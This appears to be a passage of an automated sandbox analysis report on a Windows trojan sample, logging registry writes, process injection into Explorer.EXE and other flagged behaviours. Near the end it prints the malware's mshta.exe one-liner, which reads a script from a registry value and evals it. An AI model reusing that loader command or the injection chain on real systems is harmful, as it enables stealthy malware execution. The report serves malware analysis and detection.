RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000c625dcf249f8d901c625dcf249f8d901c625dcf249f8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657185d2000623361353239323930346430313162323262383931316362646663366638343261393966366630383134623733386137323335616433613236396532353861340000b20009000400efbe4657185d4657185d2e000000000000000000000000000000000000000000000000003afa4c00620033006100350032003900320039003000340064003000310031006200320032006200380039003100310063006200640066006300360066003800340032006100390039006600360066003000380031003400620037003300380061003700320033003500610064003300610032003600390065003200350038006100340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62336135323932393034643031316232326238393131636264666336663834326139396636663038313462373338613732333561643361323639653235386134000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07fcc9f05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b07fcc9f05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6723f946-de3c-444b = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c685c76cfa183641fa2d6e6b07d957b4344dbb580dbc0b36e083a1defb8af6d3" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cdeff668-0786-43e9 = d015fcf449f8d901 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\04fd69c1-9d0e-42b1 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\91ed0568-951a-4610 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000e48fabf349f8d9014fb1f0f349f8d9014fb1f0f349f8d901407d06000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657185d2000303066613266656335346662316565373939336332366265613466343765393633333235376363376232623535626131663863626138393230303839386330320000b20009000400efbe4657185d4657185d2e0000000000000000000000000000000000000000000000000058020f00300030006600610032006600650063003500340066006200310065006500370039003900330063003200360062006500610034006600340037006500390036003300330032003500370063006300370062003200620035003500620061003100660038006300620061003800390032003000300038003900380063003000320000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30306661326665633534666231656537393933633236626561346634376539363333323537636337623262353562613166386362613839323030383938633032000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0705caf05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b0705caf05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6723f946-de3c-444b = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95aa1b6c-dac5-40de = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000002b01e0f349f8d901c2ec0af449f8d901c2ec0af449f8d901743806000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657185d2000623361353239323930346430313162323262383931316362646663366638343261393966366630383134623733386137323335616433613236396532353861340000b20009000400efbe4657185d4657185d2e000000000000000000000000000000000000000000000000003afa4c00620033006100350032003900320039003000340064003000310031006200320032006200380039003100310063006200640066006300360066003800340032006100390039006600360066003000380031003400620037003300380061003700320033003500610064003300610032003600390065003200350038006100340000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62336135323932393034643031316232326238393131636264666336663834326139396636663038313462373338613732333561643361323639653235386134000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b0707caf05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b0707caf05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\8030eba2-b11c-452f RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\04fd69c1-9d0e-42b1 = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000ba6f09f349f8d901ba6f09f349f8d901ba6f09f349f8d901000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000004657185d2000653232636334343134643639333937653039323336336664333131626463623630653230316435373139313732303966363961666230353331363961656565660000b20009000400efbe4657185d4657185d2e0000000000000000000000000000000000000000000000000046b01f00650032003200630063003400340031003400640036003900330039003700650030003900320033003600330066006400330031003100620064006300620036003000650032003000310064003500370031003900310037003200300039006600360039006100660062003000350033003100360039006100650065006500660000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000c85ee0a31000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c65323263633434313464363933393765303932333633666433313162646362363065323031643537313931373230396636396166623035333136396165656566000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000686670616a6470760000000000000000e045a29211b9ef448bb64d5290c16b07fdc9f05e9c53ee119d98c2c9425c9a59e045a29211b9ef448bb64d5290c16b07fdc9f05e9c53ee119d98c2c9425c9a59d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0031003100340031003900380037003700320031002d0033003900340035003500390036003900380032002d0033003200390037003300310031003800310034002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000002d5e0d99000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6e111652-6f8a-42da RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\865eea95-8197-446b RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b3a5292904d011b22b8911cbdfc6f842a99f6f0814b738a7235ad3a269e258a4" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\6e111652-6f8a-42da = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\865eea95-8197-446b = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\95aa1b6c-dac5-40de = cbc0e4f449f8d901 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\cdeff668-0786-43e9 = "8324" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2161676c-5d9e-4ea5 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\f73e49c5-1e97-4e03 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\199c6ba6-b51c-4626 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b31fc109-ab96-4049 = "\\\\?\\Volume{990D5E2D-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\00fa2fec54fb1ee7993c26bea4f47e9633257cc7b2b55ba1f8cba89200898c02" RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
PING.EXEpid process 816 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
SecuriteInfo.com.Win32.TrojanX-gen.25123.exepowershell.exeExplorer.EXEpid process 2656 SecuriteInfo.com.Win32.TrojanX-gen.25123.exe 2656 SecuriteInfo.com.Win32.TrojanX-gen.25123.exe 3976 powershell.exe 3976 powershell.exe 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3204 Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
powershell.exeExplorer.EXEcmd.exepid process 3976 powershell.exe 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3204 Explorer.EXE 3860 cmd.exe 3204 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
powershell.exeExplorer.EXERuntimeBroker.exedescription pid process Token: SeDebugPrivilege 3976 powershell.exe Token: SeShutdownPrivilege 3204 Explorer.EXE Token: SeCreatePagefilePrivilege 3204 Explorer.EXE Token: SeShutdownPrivilege 3204 Explorer.EXE Token: SeCreatePagefilePrivilege 3204 Explorer.EXE Token: SeShutdownPrivilege 3204 Explorer.EXE Token: SeCreatePagefilePrivilege 3204 Explorer.EXE Token: SeShutdownPrivilege 3204 Explorer.EXE Token: SeCreatePagefilePrivilege 3204 Explorer.EXE Token: SeShutdownPrivilege 3840 RuntimeBroker.exe Token: SeShutdownPrivilege 3840 RuntimeBroker.exe Token: SeShutdownPrivilege 3840 RuntimeBroker.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Explorer.EXEpid process 3204 Explorer.EXE -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3204 Explorer.EXE -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
mshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.exedescription pid process target process PID 3968 wrote to memory of 3976 3968 mshta.exe powershell.exe PID 3968 wrote to memory of 3976 3968 mshta.exe powershell.exe PID 3976 wrote to memory of 3736 3976 powershell.exe csc.exe PID 3976 wrote to memory of 3736 3976 powershell.exe csc.exe PID 3736 wrote to memory of 3064 3736 csc.exe cvtres.exe PID 3736 wrote to memory of 3064 3736 csc.exe cvtres.exe PID 3976 wrote to memory of 4192 3976 powershell.exe csc.exe PID 3976 wrote to memory of 4192 3976 powershell.exe csc.exe PID 4192 wrote to memory of 3784 4192 csc.exe cvtres.exe PID 4192 wrote to memory of 3784 4192 csc.exe cvtres.exe PID 3976 wrote to memory of 3204 3976 powershell.exe Explorer.EXE PID 3976 wrote to memory of 3204 3976 powershell.exe Explorer.EXE PID 3976 wrote to memory of 3204 3976 powershell.exe Explorer.EXE PID 3976 wrote to memory of 3204 3976 powershell.exe Explorer.EXE PID 3204 wrote to memory of 3840 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3840 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3840 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3840 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3684 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3684 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3860 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 3860 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 3860 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 3684 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3684 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 4868 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 4868 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 4868 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 4868 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 1412 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 1412 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3860 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 1412 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 3860 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 1412 3204 Explorer.EXE RuntimeBroker.exe PID 3204 wrote to memory of 4980 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 4980 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 4980 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 4980 3204 Explorer.EXE cmd.exe PID 3860 wrote to memory of 816 3860 cmd.exe PING.EXE PID 3860 wrote to memory of 816 3860 cmd.exe PING.EXE PID 3860 wrote to memory of 816 3860 cmd.exe PING.EXE PID 3860 wrote to memory of 816 3860 cmd.exe PING.EXE PID 3860 wrote to memory of 816 3860 cmd.exe PING.EXE PID 3204 wrote to memory of 4980 3204 Explorer.EXE cmd.exe PID 3204 wrote to memory of 4980 3204 Explorer.EXE cmd.exe
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3840
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4868
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3684
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3204 -
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.TrojanX-gen.25123.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.TrojanX-gen.25123.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2656 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 4723⤵
- Program crash
PID:840 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Tilv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Tilv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\D75FCFBE-4A7B-21B2-0CFB-1EE5005F32E9\\\MemoryLocal'));if(!window.flag)close()</script>"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3968 -
